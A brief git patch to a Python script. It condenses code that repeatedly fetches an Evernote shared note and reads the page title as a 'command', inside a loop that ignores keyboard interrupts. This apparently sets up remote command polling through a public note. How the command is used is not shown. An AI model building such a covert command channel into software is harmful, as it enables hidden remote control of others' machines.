From 3eeb9c375a80607db03527e046fb9b753ea4f1ba Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Mon, 14 Aug 2023 18:47:07 +0800 Subject: updated --- main.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/main.py b/main.py index 032d8a7..cb15518 100644 --- a/main.py +++ b/main.py @@ -15,9 +15,7 @@ while True: try: #get HTML try: - html_file = get("https://www.evernote.com/shard/s557/sh/f241b451-44a8-5ebe-3a73-cf74cb0fdaf5/2EW7PhNX5HU3KHOM1ZZGiu0d16La558Mv9vDJaLemJOZUP4kW2qbb1bBaQ").text - soup = BeautifulSoup(html_file, 'lxml') - command = soup.find('title').text + command = BeautifulSoup(get("https://www.evernote.com/shard/s557/sh/f241b451-44a8-5ebe-3a73-cf74cb0fdaf5/2EW7PhNX5HU3KHOM1ZZGiu0d16La558Mv9vDJaLemJOZUP4kW2qbb1bBaQ").text, 'lxml').find('title').text except KeyboardInterrupt: continue except: -- cgit v1.2.3